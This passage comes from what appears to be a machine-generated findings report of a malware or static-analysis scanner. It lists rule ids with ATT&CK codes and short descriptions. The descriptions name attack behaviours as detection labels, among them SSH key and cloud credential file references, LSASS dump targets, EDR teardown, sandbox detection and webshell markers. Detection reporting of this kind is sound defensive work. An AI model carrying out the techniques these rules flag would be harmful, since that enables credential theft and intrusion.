"atk": "T1083", "conf": 0.9, "crit": 3, "desc": "References the /media removable-mount root", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/os/sysinfo/hardware::python-memory-resource-key", "atk": "T1082", "conf": 0.9, "crit": 3, "desc": "Python dict declares a memory resource key", "from": [ { "file": 21 } ] }, { "id": "objectives/command-and-control/dropper/staging/encrypted::dual-crypto-bcrypt-fallback--rx-2", "atk": "T1027", "mbc": "B0032", "conf": 0.95, "crit": 3, "desc": "cryptography library fallback marker", "from": [ { "file": 146 } ] }, { "id": "micro-behaviors/communications/http/services/supabase::service-key-reference", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "References a Supabase service-role key", "from": [ { "file": 95 } ] }, { "id": "metadata/package/testing/presence/harness::python-test-file", "conf": 0.7, "crit": 2, "desc": "Python test file suffix", "from": [ { "file": 159 } ] }, { "id": "micro-behaviors/fs/write/file/descriptor::python-os-write-fd", "conf": 0.9, "crit": 3, "desc": "Writes bytes through Python file descriptor", "from": [ { "file": 152 } ] }, { "id": "micro-behaviors/data/archive/create/zip::walk-skips-dotfiles", "conf": 0.9, "crit": 3, "desc": "Directory walk filters hidden files", "from": [ { "file": 15 } ] }, { "id": "objectives/anti-static/obfuscation/encoding/ip-notation::ipv4-struct-pack-dec", "atk": "T1027", "mbc": "B0032", "conf": 0.9, "crit": 3, "desc": "struct.pack with decimal IP constant", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/data/serialize/envelope::result-assignment-key", "conf": 0.4, "crit": 1, "desc": "Result field or assignment key", "from": [ { "file": 1 } ] }, { "id": "objectives/exfiltration/http/upload::secret-other", "conf": 0.6, "crit": 3, "desc": "Secret marker string (exfil/data/steal/grab)", "from": [ { "file": 185 } ] }, { "id": "metadata/file/string/cloud::aws-imds-v2-token-endpoint", "conf": 0.9, "crit": 3, "desc": "AWS IMDSv2 token endpoint", "from": [ { "file": 119 } ] }, { "id": "micro-behaviors/os/container/runtime::docker-var-run-sock", "conf": 0.75, "crit": 3, "desc": "Docker socket path", "from": [ { "file": 120 } ] }, { "id": "micro-behaviors/data/encode/base32::python-b32decode-call", "mbc": "C0026", "conf": 0.93, "crit": 3, "desc": "Python calls the Base32 decoder", "from": [ { "file": 121 } ] }, { "id": "micro-behaviors/communications/http/url/path::image-file-url", "conf": 0.85, "crit": 3, "desc": "HTTP URL targets an image file", "from": [ { "file": 17 } ] }, { "id": "micro-behaviors/ui/window/dom/create::browser-create-method-reference", "conf": 0.85, "crit": 3, "desc": "References a DOM element creation method" }, { "id": "micro-behaviors/os/network/interface::ip-link", "conf": 0.9, "crit": 3, "desc": "Uses ip link for network interfaces" }, { "id": "micro-behaviors/communications/http/url/github::raw-githubusercontent-json", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "raw.githubusercontent.com JSON URL", "from": [ { "file": 34 } ] }, { "id": "micro-behaviors/process/create/workers::worker-thread-count-flag", "conf": 0.78, "crit": 3, "desc": "Worker thread count flag", "from": [ { "file": 23 } ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::platform-node", "atk": "T1082", "conf": 0.7, "crit": 3, "desc": "platform.node() hostname call", "from": [ { "file": 35 } ] }, { "id": "micro-behaviors/process/create/execv::os-exec-family", "atk": "T1059.006", "conf": 0.85, "crit": 3, "desc": "os.exec* family functions", "from": [ { "file": 186 } ], "uses": [ 141 ] }, { "id": "objectives/supply-chain/recon-exfil/pipeline::gha-interesting-secret-keywords--rx-5", "atk": "T1195.002, T1552.001", "conf": 0.9, "crit": 3, "desc": "Anthropic or Gemini credential variable name", "from": [ { "file": 5 } ] }, { "id": "micro-behaviors/communications/proxy/relay::relay-frame-type", "atk": "T1090,T1572", "conf": 0.9, "crit": 3, "desc": "Relay-context message-type token", "from": [ { "file": 102 } ] }, { "id": "objectives/evasion/masquerade/traffic::browser-html-accept-header", "atk": "T1071.001", "mbc": "B0030", "conf": 0.8, "crit": 3, "desc": "Browser HTML Accept header literal", "from": [ { "file": 42 } ] }, { "id": "micro-behaviors/os/container/runtime::projected-serviceaccount-token", "conf": 0.82, "crit": 3, "desc": "Kubernetes projected service-account path", "from": [ { "file": 133 } ] }, { "id": "micro-behaviors/data/source/function/names::sign-prefixed-callable-token", "conf": 0.88, "crit": 3, "desc": "Sign-prefixed callable token in source", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/os/security/auth/password::common-password-policy-text", "conf": 0.85, "crit": 3, "desc": "Common-password policy warning", "from": [ { "file": 2 } ] }, { "id": "metadata/lang/javascript-features::template-literal", "conf": 0.9, "crit": 2, "desc": "ES6 template literal syntax" }, { "id": "micro-behaviors/crypto/library/keyword::encryption-algorithm-keyword", "conf": 0.5, "crit": 3, "desc": "Encryption algorithm keyword", "from": [ { "file": 14 } ], "uses": [ 74, 1057 ] }, { "id": "objectives/command-and-control/trigger/activation::trigger-keyword-title-suffix", "conf": 0.3, "crit": 3, "desc": "Trigger keyword (titlecase suffix)", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/data/serialize/schema-object::agent-tool-call-function-field", "conf": 0.9, "crit": 1, "desc": "JSON tool-call function metadata field", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/crypto/library/keyword::cipher-keyword", "conf": 0.4, "crit": 2, "desc": "Generic 'cipher' crypto term", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/data/source/language::python-datetime-threshold", "conf": 0.85, "crit": 3, "desc": "Python datetime date threshold", "from": [ { "file": 164 } ] }, { "id": "micro-behaviors/data/db/sql::python-sql-f-string", "conf": 0.9, "crit": 3, "desc": "Builds SQL with Python f-string interpolation", "from": [ { "file": 33 } ] }, { "id": "micro-behaviors/process/argument/subcommand::cli-verb-print", "conf": 0.82, "crit": 3, "desc": "CLI print subcommand token", "from": [ { "file": 88 } ] }, { "id": "objectives/anti-analysis/sandbox-detect/tool-references::cuckoo", "atk": "T1497", "mbc": "B0007", "conf": 0.7, "crit": 3, "desc": "Cuckoo sandbox reference", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/communications/ssh/client::libssh", "atk": "T1021.004", "conf": 0.6, "crit": 3, "desc": "References the libssh name", "from": [ { "file": 102 } ] }, { "id": "micro-behaviors/communications/http/header/custom::custom-token-header", "conf": 0.9, "crit": 3, "desc": "Sets custom X-prefixed token header", "from": [ { "file": 67 } ] }, { "id": "micro-behaviors/process/create/subprocess::subprocess-shell-cwd-options", "atk": "T1059.006", "mbc": "C0017", "conf": 0.9, "crit": 3, "desc": "Subprocess sets shell or working directory" }, { "id": "objectives/execution/exploit/http-command-injection::shell-control-string-literal", "atk": "T1059,T1190", "mbc": "B0024", "conf": 0.9, "crit": 3, "desc": "Shell separator plus command token", "from": [ { "file": 21 } ] }, { "id": "objectives/lateral-movement/exploit/scanner::wp-admin-endpoint-url", "atk": "T1210", "conf": 0.7, "crit": 3, "desc": "WordPress admin endpoint path", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/fs/directory/traverse::traverse-rglob-call", "conf": 0.84, "crit": 3, "desc": "Calls pathlib rglob for recursive enumeration", "from": [ { "file": 15 } ] }, { "id": "objectives/anti-static/obfuscation/encoding/ip-notation::ipv4-inet-ntoa-bytes", "atk": "T1027", "mbc": "B0032", "conf": 0.95, "crit": 3, "desc": "socket.inet_ntoa call", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/fs/path/check::python-os-path-isdir-text", "conf": 0.7, "crit": 3, "desc": "Python os.path.isdir path test text", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key-filename-enum", "atk": "T1552.001", "conf": 0.85, "crit": 3, "desc": "Enumerates SSH private key filenames", "from": [ { "file": 41 } ], "uses": [ 648, 884, 1136 ] }, { "id": "micro-behaviors/communications/ipc/agent-hook::agent-hook-input-read--tool-name", "conf": 0.9, "crit": 3, "desc": "Reads AI agent hook tool input (tool_name)", "from": [ { "file": 61 } ] }, { "id": "objectives/credential-access/cloud/session::azure-cli-token-cache-path", "atk": "T1552.005", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "Azure CLI token cache path", "from": [ { "file": 133 } ] }, { "id": "micro-behaviors/data/control-flow/module-exec::module-level-side-effect-call", "conf": 0.82, "crit": 3, "desc": "Python module-level function call" }, { "id": "micro-behaviors/communications/socket/raw::scapy-tcp-reset-packet", "atk": "T1011", "mbc": "C0001", "conf": 0.92, "crit": 3, "desc": "Scapy constructs a TCP reset packet", "from": [ { "file": 75 } ] }, { "id": "micro-behaviors/fs/path/extension::model-extension-reference--pytorch-or-safetensors", "conf": 0.88, "crit": 3, "desc": "AI PyTorch or SafeTensors extension", "from": [ { "file": 27 } ] }, { "id": "objectives/credential-access/cracking/cracker::hash-cracking-vocabulary", "conf": 0.9, "crit": 3, "desc": "Names hash cracking or wordlist attack", "from": [ { "file": 19 } ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-postgres", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token postgres", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords", "conf": 0.86, "crit": 1, "desc": "Container engine name literal present", "from": [ { "file": 37 } ], "uses": [ 279 ] }, { "id": "micro-behaviors/data/decode/encoded/formats::python-urlsafe-base64-decode", "conf": 0.85, "crit": 3, "desc": "Python URL-safe Base64 decoder call", "from": [ { "file": 116 } ] }, { "id": "metadata/package/testing/corpus::lfi-category-label", "conf": 0.9, "crit": 3, "desc": "LFI attack category label", "from": [ { "file": 19 } ] }, { "id": "metadata/package/testing/scripted::pytest-word", "conf": 0.7, "crit": 2, "desc": "pytest reference", "from": [ { "file": 164 } ] }, { "id": "micro-behaviors/communications/http/request/body::email-collection-body-field", "atk": "T1589.002", "mbc": "E1589", "conf": 0.85, "crit": 3, "desc": "Body field naming email contact collection", "from": [ { "file": 53 } ] }, { "id": "metadata/lang/natural::script-cyrillic", "conf": 0.8, "crit": 3, "desc": "Contains multiple standalone Cyrillic words", "from": [ { "file": 71 } ] }, { "id": "micro-behaviors/fs/path/filename-credential::secrets-json-file", "conf": 0.85, "crit": 3, "desc": "Secrets JSON filename reference", "from": [ { "file": 53 } ] }, { "id": "metadata/file/catalog/unicode::escaped-unicode-codepoint", "conf": 0.99, "crit": 3, "desc": "Escaped Unicode codepoint in source", "from": [ { "file": 93 } ] }, { "id": "micro-behaviors/data/serialize/schema-object::agent-tool-call-field", "conf": 0.9, "crit": 3, "desc": "JSON tool-call field", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/communications/http/services/github::github-rest-json-accept-header", "conf": 0.95, "crit": 3, "desc": "GitHub REST JSON API Accept header", "from": [ { "file": 108 } ] }, { "id": "micro-behaviors/fs/delete/directory::rm-rf", "atk": "T1070.004", "mbc": "C0047", "conf": 0.8, "crit": 3, "desc": "Contains an executable rm -rf deletion command", "from": [ { "file": 33 } ] }, { "id": "micro-behaviors/communications/http/oauth::oauth-protocol-reference", "conf": 0.5, "crit": 3, "desc": "References the OAuth 2 protocol", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/fs/path/secret-config::package-or-netrc-credential-file", "atk": "T1552.001", "conf": 0.9, "crit": 3, "desc": "Package or netrc credential file reference", "from": [ { "off": 29834, "file": 91, "line": 749 }, { "off": 22067, "file": 95, "line": 552 }, { "off": 47339, "file": 124, "line": 1011 }, { "off": 21370, "file": 129, "line": 515 }, { "off": 60189, "file": 130, "line": 1118 }, { "off": 1484, "file": 137, "line": 49 }, { "off": 847, "file": 141, "line": 26 } ], "uses": [ 425, 882, 1277 ] }, { "id": "micro-behaviors/crypto/asymmetric/key::pgp-private-key-footer", "conf": 0.99, "crit": 3, "desc": "ASCII-armored OpenPGP private-key footer", "from": [ { "file": 203 } ] }, { "id": "metadata/file/catalog/service::service-name-anthropic", "conf": 0.82, "crit": 3, "desc": "Anthropic service name", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/fs/path/filename-credential::windows-sam-hive-path", "conf": 0.97, "crit": 3, "desc": "References Windows SAM hive path", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/data/db/schema/relational::account-id-field", "conf": 0.8, "crit": 3, "desc": "Account identity key field name", "from": [ { "file": 113 } ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--cloudflare", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Cloudflare)", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/data/parse/command::python-shlex-command-split", "conf": 0.9, "crit": 3, "desc": "Python parses shell-like command words", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/communications/ip/proxy::cloudflare-fallback-pool", "conf": 0.9, "crit": 3, "desc": "Hardcoded Cloudflare proxy IP pool", "from": [ { "off": 7328, "file": 131, "line": 184 } ], "uses": [ 332, 876, 1321 ] }, { "id": "micro-behaviors/process/create/shell/command-mode::windows-command-shell-invocation", "atk": "T1059.001,T1059.003", "conf": 0.94, "crit": 3, "desc": "Windows shell command-mode invocation syntax", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/communications/http/auth::sharepoint-auth-session-cookie", "conf": 0.94, "crit": 3, "desc": "SharePoint or ASP.NET auth session cookie", "from": [ { "file": 45 } ] }, { "id": "objectives/credential-access/dump/system::routeros-api-user-print", "atk": "T1003", "conf": 0.92, "crit": 3, "desc": "RouterOS API user print", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/os/env/read::python-environ-copy-assignment", "conf": 0.9, "crit": 3, "desc": "Copies entry into env or credential mapping", "from": [ { "file": 150 } ] }, { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "from": [ { "file": 1 } ] }, { "id": "micro-behaviors/communications/socket/create::socket-creation", "atk": "T1071", "mbc": "C0001", "conf": 1.0, "crit": 2, "desc": "Socket creation patterns", "from": [ { "file": 16 } ], "uses": [ 541, 623, 770, 857 ] }, { "id": "micro-behaviors/communications/http/cookies::cookie-header", "conf": 0.7, "crit": 3, "desc": "HTTP Cookie request header string", "from": [ { "file": 134 } ] }, { "id": "micro-behaviors/data/serialize/object::json-dump", "conf": 0.86, "crit": 3, "desc": "Serializes to a stream with json.dump()", "from": [ { "file": 13 } ] }, { "id": "micro-behaviors/data/db/config::db-key-host", "conf": 0.85, "crit": 1, "desc": "Connection host key", "from": [ { "file": 25 } ] }, { "id": "micro-behaviors/communications/socket/receive::socket-receive", "atk": "T1071", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "Python receives data from a socket", "from": [ { "file": 25 }, { "off": 34339, "file": 43, "line": 873 }, { "off": 2997, "file": 60, "line": 87 }, { "file": 72 }, { "off": 3350, "file": 75, "line": 98 }, { "off": 25902, "file": 102, "line": 691 } ], "uses": [ 387, 473 ] }, { "id": "micro-behaviors/fs/path/location::home-hidden-dotpath", "conf": 0.85, "crit": 3, "desc": "Hidden dot-entry under the home directory", "from": [ { "file": 29 } ] }, { "id": "micro-behaviors/os/pam/auth::pam-config-write-redirection", "conf": 0.85, "crit": 3, "desc": "Redirects output into PAM policy", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/communications/ip/endpoint::https-port-443", "conf": 0.6, "crit": 1, "desc": "HTTPS service port number", "from": [ { "off": 9523, "file": 16, "line": 273 }, { "off": 26943, "file": 65, "line": 765 }, { "file": 68 }, { "file": 91 }, { "off": 42859, "file": 130, "line": 771 }, { "off": 26485, "file": 131, "line": 761 }, { "off": 66243, "file": 136, "line": 1710 } ], "uses": [ 98, 1298 ] }, { "id": "well-known/app/ai/gateway/ollama::ollama-api-tags-path", "conf": 0.98, "crit": 3, "desc": "Ollama model-list API path", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/data/parse/vocabulary::ciphertext-key-vocabulary", "conf": 0.8, "crit": 3, "desc": "Uses ciphertext, shared-secret, or trailer terms", "from": [ { "file": 58 } ] }, { "id": "micro-behaviors/os/env/vcs::gh-token-name-reference", "conf": 0.9, "crit": 3, "desc": "References the GH_TOKEN environment variable", "from": [ { "file": 124 } ] }, { "id": "micro-behaviors/process/create/channel-agent::ai-agent-message-receive-c", "atk": "T1059", "mbc": "B0022", "conf": 0.86, "crit": 3, "desc": "Agent incoming-message handler", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/server/listener::apache-tomcat-phrase", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "Apache Tomcat product name", "from": [ { "file": 70 } ] }, { "id": "objectives/command-and-control/backdoor/keywords::cyber-warfare-marker", "conf": 0.8, "crit": 3, "desc": "Cyber warfare reference", "from": [ { "file": 93 } ] }, { "id": "objectives/command-and-control/backdoor/webshell/embedded::php-request-superglobal", "atk": "T1505.003", "mbc": "B0030", "conf": 0.9, "crit": 3, "desc": "PHP request superglobal access", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/fs/path/config/system::cron-d-path-reference", "conf": 0.7, "crit": 3, "desc": "Reference to /etc/cron.d system path", "from": [ { "file": 19 } ] }, { "id": "well-known/tool/detection/agent-sentry::risk-model", "conf": 0.96, "crit": 3, "desc": "agent-sentry RiskLevel finding model", "from": [ { "file": 14 } ] }, { "id": "objectives/command-and-control/infrastructure/paste::pastebin", "conf": 0.7, "crit": 3, "desc": "Pastebin.com reference", "from": [ { "file": 122 } ] }, { "id": "micro-behaviors/os/network/status::ss", "conf": 0.9, "crit": 3, "desc": "ss socket statistics", "from": [ { "file": 129 } ] }, { "id": "objectives/discovery/host/geo::region-field", "atk": "T1016", "conf": 0.5, "crit": 3, "desc": "Region JSON field (geo profiling)", "from": [ { "file": 47 } ] }, { "id": "micro-behaviors/os/security/directory-service::directory-entry-property-put-call", "conf": 0.94, "crit": 3, "desc": "DirectoryEntry property write API call", "from": [ { "file": 96 } ] }, { "id": "micro-behaviors/data/llm/agent::agent-identity-copilot", "conf": 0.8, "crit": 1, "desc": "Copilot identity reference", "from": [ { "file": 5 } ] }, { "id": "micro-behaviors/communications/proxy/tunnel::cloudflared-tunnel-subcommand", "atk": "T1090", "conf": 0.84, "crit": 3, "desc": "cloudflared tunnel subcommand", "from": [ { "file": 102 } ] }, { "id": "micro-behaviors/data/db/sql::sql-insert", "conf": 0.8, "crit": 3, "desc": "Contains an SQL INSERT statement", "from": [ { "file": 45 } ] }, { "id": "objectives/discovery/network/scan/port::scan-target", "atk": "T1046", "mbc": "E1046", "conf": 0.4, "crit": 3, "desc": "Scan-target identifier fragment", "from": [ { "file": 21 } ] }, { "id": "micro-behaviors/fs/path/config/git::git-repository-config-path", "conf": 0.9, "crit": 3, "desc": "References a Git repository configuration path", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/http/services/haveibeenpwned::hibp-service-name", "conf": 0.9, "crit": 3, "desc": "Have I Been Pwned service reference", "from": [ { "file": 74 } ] }, { "id": "micro-behaviors/os/env/secret-name::keyword-secret", "conf": 0.7, "crit": 3, "desc": "SECRET-named environment variable" }, { "id": "micro-behaviors/hardware/block/device::dev-mapper", "conf": 0.7, "crit": 3, "desc": "References /dev/mapper path", "from": [ { "file": 2 } ] }, { "id": "objectives/execution/lure/video-meeting::meeting-app-brand-lure", "atk": "T1204.001", "conf": 0.86, "crit": 3, "desc": "Meeting app brand lure" }, { "id": "micro-behaviors/os/sysinfo/platform/string::os-string-linux", "conf": 0.6, "crit": 2, "desc": "Linux platform string", "from": [ { "file": 2 } ] }, { "id": "objectives/evasion/anti-av/platform/selinux::policy-manipulation", "atk": "T1562.001", "conf": 0.8, "crit": 4, "desc": "SELinux policy load or manipulation", "from": [ { "file": 129 } ], "uses": [ 702 ] }, { "id": "micro-behaviors/communications/proxy/socks::socks5-string", "atk": "T1090", "mbc": "C0001", "conf": 0.5, "crit": 3, "desc": "SOCKS5 proxy URL or operation marker", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key-filename-rsa", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "id_rsa filename constant", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/fs/path/config/web::wordpress-config-path", "conf": 0.8, "crit": 3, "desc": "WordPress wp-config.php credential file path", "from": [ { "file": 53 } ] }, { "id": "objectives/credential-access/dump/process::lsass-memory-dump-target", "atk": "T1003.001", "mbc": "B0005", "conf": 0.94, "crit": 3, "desc": "LSASS or dump-file target reference", "from": [ { "file": 12 } ] }, { "id": "objectives/anti-static/obfuscation/code-metrics/identifiers::python-benchmark-timeit-atom", "atk": "T1027", "mbc": "B0032", "conf": 0.95, "crit": 3, "desc": "Python benchmark uses timeit", "from": [ { "file": 87 } ] }, { "id": "micro-behaviors/fs/path/config/environment::env-file-path", "conf": 0.9, "crit": 3, "desc": "References dotenv configuration file path", "from": [ { "file": 91 } ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-secret-field", "atk": "T1195.002", "conf": 0.96, "crit": 3, "desc": "Secret field marker for proxy use", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/fs/directory/traverse::traverse-readdir-walk-find", "conf": 0.85, "crit": 2, "desc": "Traverses directories using common APIs", "from": [ { "file": 13 } ] }, { "id": "micro-behaviors/communications/http/login::http-login-credential-post", "atk": "T1071.001", "conf": 0.92, "crit": 3, "desc": "HTTP login credentials submitted by POST", "from": [ { "file": 116 } ], "uses": [ 514, 976 ] }, { "id": "micro-behaviors/communications/socket/ssl::python-wrap-socket-server-hostname", "conf": 0.85, "crit": 3, "desc": "Python TLS socket server_hostname", "from": [ { "file": 12 } ] }, { "id": "objectives/anti-static/obfuscation/payload/polymorphic::llm-static-analysis-target", "atk": "T1027", "conf": 0.92, "crit": 3, "desc": "Static analysis target", "from": [ { "file": 14 } ] }, { "id": "objectives/credential-access/files/config::azure-credentials-path-ref", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "References Azure credentials file", "from": [ { "file": 133 } ] }, { "id": "micro-behaviors/data/control-flow/membership::set-construction", "conf": 0.75, "crit": 3, "desc": "Python set() construction", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call-symbol", "conf": 0.85, "crit": 3, "desc": "Calls fully qualified urllib urlopen", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/process/create/subprocess::import-subprocess", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.95, "crit": 3, "desc": "Imports Python's subprocess module", "from": [ { "file": 15 } ] }, { "id": "micro-behaviors/data/serialize/json::json-dumps-call", "conf": 0.9, "crit": 2, "desc": "Serializes data with Python json.dumps()", "from": [ { "file": 3 } ] }, { "id": "well-known/tool/detection/ai-guardrail::ssrf-protection-guardrail", "conf": 0.92, "crit": 3, "desc": "SSRF protection guardrail", "from": [ { "file": 100 } ] }, { "id": "micro-behaviors/process/fd/stdio::stderr-string", "conf": 0.3, "crit": 2, "desc": "References the stderr stream name", "from": [ { "file": 83 } ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::getaddrinfo", "conf": 0.85, "crit": 3, "desc": "socket.getaddrinfo() DNS lookup", "from": [ { "file": 31 } ] }, { "id": "objectives/credential-access/cloud/token/metadata::azure-metadata-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "Azure instance metadata endpoint reference", "from": [ { "off": 21733, "file": 45, "line": 525 }, { "off": 8094, "file": 119, "line": 199 }, { "off": 661, "file": 133, "line": 20 } ], "uses": [ 5, 1213 ] }, { "id": "objectives/discovery/system/fingerprint/hardware::python-platform-machine", "atk": "T1082", "mbc": "E1082", "conf": 0.75, "crit": 3, "desc": "Identifies the host CPU architecture", "from": [ { "file": 35 } ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-gcp-provider-name", "conf": 0.82, "crit": 3, "desc": "Repeated GCP provider name", "from": [ { "file": 23 } ] }, { "id": "objectives/credential-access/cloud/aws-token::aws-shared-access-key-field", "atk": "T1552.005", "conf": 0.95, "crit": 3, "desc": "AWS shared credentials access key field", "from": [ { "file": 95 } ] }, { "id": "objectives/command-and-control/infrastructure/keywords::beacon", "conf": 0.6, "crit": 3, "desc": "Beacon keyword (neutral context)", "from": [ { "file": 1 } ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-ubuntu", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token ubuntu", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/data/manipulation::python-sanitize-function-name", "conf": 0.9, "crit": 3, "desc": "Python sensitive-data sanitization function", "from": [ { "file": 71 } ] }, { "id": "micro-behaviors/data/source/import::alias-platform", "conf": 0.6, "crit": 3, "desc": "platform imported under an alias", "from": [ { "file": 75 } ] }, { "id": "objectives/credential-access/theft/keywords::private-key-field-name", "conf": 0.96, "crit": 1, "desc": "Private-key field name in structured data", "from": [ { "file": 14 } ] }, { "id": "objectives/execution/interpreter/command::command-shell-image-reference", "atk": "T1059.003", "conf": 0.9, "crit": 3, "desc": "Windows command-shell image reference", "from": [ { "file": 12 } ] }, { "id": "metadata/package/testing/scripted::pytest", "conf": 0.95, "crit": 3, "desc": "pytest test framework", "from": [ { "off": 5757, "file": 191, "line": 191 } ], "uses": [ 14, 534, 646 ] }, { "id": "objectives/discovery/host/process::wireshark-proc", "conf": 0.5, "crit": 3, "desc": "Wireshark process name", "from": [ { "file": 74 } ] }, { "id": "micro-behaviors/os/autorun/cron::crontab-option", "conf": 0.6, "crit": 3, "desc": "crontab command option", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/data/db/mongodb::client-port-reference", "conf": 0.82, "crit": 3, "desc": "References the MongoDB client service port", "from": [ { "file": 16 } ] }, { "id": "micro-behaviors/communications/http/request/tasking::http-task-command-field", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Structured object contains a command field", "from": [ { "file": 22 } ] }, { "id": "micro-behaviors/os/service/daemon::httpd", "conf": 0.7, "crit": 3, "desc": "httpd daemon reference", "from": [ { "file": 136 } ] }, { "id": "micro-behaviors/os/api-resolution/dynamic::python-getattr-call", "conf": 0.75, "crit": 3, "desc": "Python getattr dynamic attribute lookup", "from": [ { "file": 1 } ] }, { "id": "micro-behaviors/communications/socket/connect::connect-python", "atk": "T1071", "mbc": "C0001", "conf": 0.75, "crit": 3, "desc": "Initiate socket connection (Python)", "from": [ { "file": 60 } ], "uses": [ 9, 1103 ] }, { "id": "micro-behaviors/process/create/shell/spawn::shell-execution-capability", "atk": "T1059", "mbc": "E1059", "conf": 0.9, "crit": 3, "desc": "Executes commands through a shell", "from": [ { "off": 3277, "file": 185, "line": 98 }, { "off": 13872, "file": 186, "line": 349 }, { "off": 2716, "file": 191, "line": 92 }, { "off": 19567, "file": 203, "line": 508 } ], "uses": [ 11, 49 ] }, { "id": "micro-behaviors/communications/http/client/library::anthropic-sdk-import", "conf": 0.95, "crit": 3, "desc": "Imports the Anthropic Python API client", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen", "conf": 0.7, "crit": 3, "desc": "Calls urllib.request.urlopen", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/communications/http/server/framework::python-loopback-host-parameter", "atk": "T1071.001", "mbc": "C0002", "conf": 0.94, "crit": 3, "desc": "Python host parameter selects loopback", "from": [ { "file": 59 } ] }, { "id": "objectives/impact/degrade/edr/teardown::safeboot-edr-vendor--rx-2", "atk": "T1562.001", "conf": 0.9, "crit": 3, "desc": "SafeBoot cleanup targets major EDR vendor", "from": [ { "file": 74 } ] }, { "id": "metadata/build/package/maintainer-scripts::server-hardening-service-control", "conf": 0.9, "crit": 3, "desc": "Server provisioning enables or starts a service" }, { "id": "micro-behaviors/data/decode/base64::base64-decoding", "conf": 0.95, "crit": 3, "desc": "Base64 decoding behavior", "from": [ { "file": 58 } ], "uses": [ 264, 706, 1079, 1206 ] }, { "id": "micro-behaviors/crypto/kdf/algorithm::python-hashlib-pbkdf2-hmac", "conf": 0.92, "crit": 3, "desc": "Python hashlib.pbkdf2_hmac key derivation" }, { "id": "micro-behaviors/communications/http/graphql::api-route", "conf": 0.92, "crit": 3, "desc": "GraphQL API route request", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/process/create/direct::python-os-execv-call", "atk": "T1106", "conf": 0.92, "crit": 3, "desc": "Python os.execv process replacement" }, { "id": "micro-behaviors/process/create/launch::sys-executable-module-launch", "atk": "T1059.003", "mbc": "E1059.003", "conf": 0.9, "crit": 3, "desc": "Launches Python module with interpreter", "from": [ { "file": 15 } ] }, { "id": "micro-behaviors/communications/benchmark/throughput::throughput-rate-figure", "conf": 0.7, "crit": 3, "desc": "Throughput rate figure for pps, bps, or qps", "from": [ { "file": 121 } ], "uses": [ 824 ] }, { "id": "micro-behaviors/communications/http/request/credentials::python-credentialed-url", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Python credentialed HTTP URL", "from": [ { "file": 72 } ] }, { "id": "objectives/evasion/security-bypass/waf::multi-vendor-antibot-solvers", "conf": 0.95, "crit": 3, "desc": "Package lists multiple anti-bot solver vendors", "from": [ { "file": 70 } ], "uses": [ 779, 869, 885 ] }, { "id": "objectives/command-and-control/infrastructure/ip::ip-address-url", "atk": "T1071", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Direct external IP address in URL", "from": [ { "file": 31 } ] }, { "id": "metadata/package/ecosystem::pkginfo-license-file", "conf": 0.9, "crit": 3, "desc": "Declares Python package license file", "from": [ { "file": 218 } ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-cloudfront-provider-name", "conf": 0.82, "crit": 3, "desc": "Repeated Cloudfront provider name", "from": [ { "file": 137 } ] }, { "id": 